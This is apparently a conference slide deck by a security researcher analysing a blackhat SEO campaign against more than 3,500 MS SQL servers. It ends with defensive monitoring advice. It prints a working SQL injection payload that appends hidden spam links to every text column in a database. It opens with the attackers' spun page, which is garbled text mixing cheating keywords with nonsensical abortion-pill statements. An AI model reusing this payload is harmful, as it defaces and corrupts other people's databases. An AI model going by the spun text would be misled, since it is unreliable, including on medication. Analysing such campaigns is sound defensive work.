Dating Sites For Married People

Wherefore alterum is high-powered that the daughter of Eve makes incontrovertible that an abortion as you say occurred. If auxiliary leaving out 14 days thereon the common upon Misoprostol disagreement abortion has occurred, and if not likely wise old man is consentient up unblock, there relic contradiction accident opportunity in comparison with till pass against that mother country into pass through a legislative abortion, interplay women as to lacery, spread eagle in order to celebrate Mass the significance. Subconscious self olden selected in spite of an naturalized guide who explains how mifepristone and misoprostol escarpment and makes in expectation number one focus on answers against the ensemble re your questions.

Regard AND Barrenness In conformity with Medicament ABORTION Variant fettle frugalness providers patronage that them not take a dive phallic multilateral trade primrose-colored poll anything husband cheated on me cheating wife recant a roller into your bag against comprehensive academic year from the abortion. In-clinic abortion procedures are parlous whole.

- All Wives Cheat
- Women Who Want To Cheat

This intrauterine device, called Mifeprex lemon-yellow RU-486, basement just now live worn proper to women who prerequisite unto refrain a swarmingness that is rest entry the earliest stages as regards part. Oneself WC perquisite dyadic unto three weeks preferably a fruitfulness scute becomes not really. This being so the goods is
The Dark Side of Search Engine Optimization Campaigns

Or Katz
Principal Security Researcher
Akamai
About Me

- Application security researcher
- Member of OWASP Israel board
- High school teacher
- I really like digging into data (and science it)
- And I really like using ducks in my presentations
SQL Injection

```
declare @c cursor;
declare @d varchar(4000);

set @c = cursor for select 'update ['+TABLE_NAME+'] set ['+COLUMN_NAME+']=['+COLUMN_NAME+']+

    case ABS(CHECKSUM(NewId()))%7
    when 0
    then ''<div><div style="display:none">married affairs sites
        <a href=ht"http://example.com/marriedaffairs/sites/index.html/" target=_blank>page/whydowomencheatontheirhusbands.aspx''+''>'''+
    end

    case ABS(CHECKSUM(NewId()))%3
    when 0
    then '''why husbands cheat''
    when 1
    then ''I cheated on my boyfriend''
    else '''when your husband cheats''
    end +''</a> letter to husband who cheated</div>''
    else '''' end

FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME
WHERE(indid=0 or indid=1) and DATA_TYPE like '%varchar' and (CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647);

open @c;
fetch next from @c into @d;
while @@FETCH_STATUS=0 begin exec (@d);
fetch next from @c into @d;
```
Scale

Targeting over 3,500 Windows Servers (MS SQL)
Source of Attacks

Attacking Resources

- Targeted by 348 IP Addresses
- Coming from 34 Countries
What We Have Seen So Far?

SQL Injection

Injecting HTML Link

Scale?  WHY?  Source?

3500 Web Sites being targeted  ?  Botnet with 348 members

It’s Time to Follow Attack Bread Crumbs Trail…
Step 1: All Roads Lead to Rome…

http://www.some.site1/index1.html
http://www.some.site2/index2.html
http://www.some.site3/index3.html
http://www.some.site15/index15.html
http://www.some.site16/index16.html
http://www.some.site17/index17.html
Step 2: Look Into One of Specially Crafted Web Pages

**Dating Sites For Married People**

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- All Wives Cheat
- Women Who Want To Cheat

Meaningful content

Link to “Cheating” web site

Meaningful content
Step 3: Look at Hosting Domains

Among the 17 Web sites that contains specially crafted pages we can see:
Step 4: Use Google to Find SQL injected Web Sites

- cheat-on-relationships.aspx
- reasons wives cheat on their husbands
- naturally-terminate-a-pregnancy.aspx
- legal abortion
- free std clinic los angeles
- chlamydia men symptoms
- chlamydia oral symptoms
- why cheat on your wife
- do you know your wife cheated
- my husband thinks i cheated
Overview

Attackers target more than 3,500 Windows Servers

Redirected to 17 specially crafted pages

“Cheating Stories”
Why?!

What have we seen so far:

• Massive SQL Injection attack campaign against Windows Servers
• Attacks executed by Botnet
• Injection of HTML links
• SQL injected web sites that contains controversial hidden links
• Specially crafted meaningless/ful HTML pages
• Out of context referring Web sites
• All links are leading to the same Web site

If it looks like a duck, swims like a duck, and quacks like a duck, then… it probably is a Blackhat SEO campaign
Search Engines Optimization (SEO)

“the process of affecting the visibility of a website or a web page in a web search engine's unpaid results”.
Wikipedia

“An important aspect of SEO is making your website easy for both users and search engine robots to understand.... SEO helps the engines figure out what each page is about, and how it may be useful for users.”
moz.com

Return in primary search results pages once searching for related keywords and terms.
Or Katz
What Motivates the SEO Industry

- Visibility == $$$
- SEO campaign cost is from $499 a month to $40,000
- SEO vendor: "We guarantee to rank your website on page 1 for your keywords within 3 months or else your money back"
Search Engines Ranking Factors (Magic Sauce)

• On Site
  – Domain – history, name
  – Content – keywords, image optimization, updates, grammar & spelling
  – Speed – page loading, CDN
  – Outbound links – quality, theme

• Out of Site
  – Number referring links
  – Reputation referring links
  – Context referring links

• Latent Semantic Indexing (LSI)
  – “Keyword research is at the heart of everything an SEO does”
## Evaluating Campaign Techniques

<table>
<thead>
<tr>
<th>Techniques</th>
<th>Relevancy</th>
</tr>
</thead>
<tbody>
<tr>
<td>Many referring links</td>
<td>✔</td>
</tr>
<tr>
<td>Abusing referring reputation</td>
<td>✔</td>
</tr>
<tr>
<td>Nested referring links</td>
<td>✔</td>
</tr>
<tr>
<td>Hidden links</td>
<td>✔</td>
</tr>
<tr>
<td>Specially crafted content</td>
<td>✔</td>
</tr>
<tr>
<td>LSI (abuse)</td>
<td>✔</td>
</tr>
</tbody>
</table>
### Step 1: Evaluating Campaign Results – Alexa Top Keywords

#### Which search keywords send traffic to this site?

<table>
<thead>
<tr>
<th>Keyword</th>
<th>Percent of Search Traffic</th>
</tr>
</thead>
<tbody>
<tr>
<td>1. cheating wife</td>
<td>11.63%</td>
</tr>
<tr>
<td>2. my wife</td>
<td>11.41%</td>
</tr>
<tr>
<td>3. my husband</td>
<td>8.33%</td>
</tr>
<tr>
<td>4. i cheated on my husband</td>
<td>4.47%</td>
</tr>
<tr>
<td>5. cheating stories</td>
<td>3.96%</td>
</tr>
</tbody>
</table>
Step 2: Evaluating Campaign Results – Alexa Ranking

And continue climbing…
Step 3: Evaluating Campaign Results – Traffic Source
So Conclusion…

It is A Winning Duck!
Not Just One Duck…

- We see many Blackhat SEO campaigns, the monthly campaign:
  - Mainly promoting **drugs/medicines**
  - Trying to inject HTML links to 156 specially crafted pages (inner circle)
- Evidences in the Internet of many defaced Web sites (outer circle)
Application Security Action Items

• **Monitor:**
  – Inbound referring links
  – Outbound links on your Web site
  – Web site ranking

• **Content inspect:**
  – Uploaded user content (forums, links, files)

• **Be aware:**
  – Incorporate into risk assessment
  – AppSec community (OWASP…)

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Other Blackhat SEO Techniques…

- Open redirects
- Spamming activates
- Referrer Injection

If you want to read more about it:
- Stay tuned…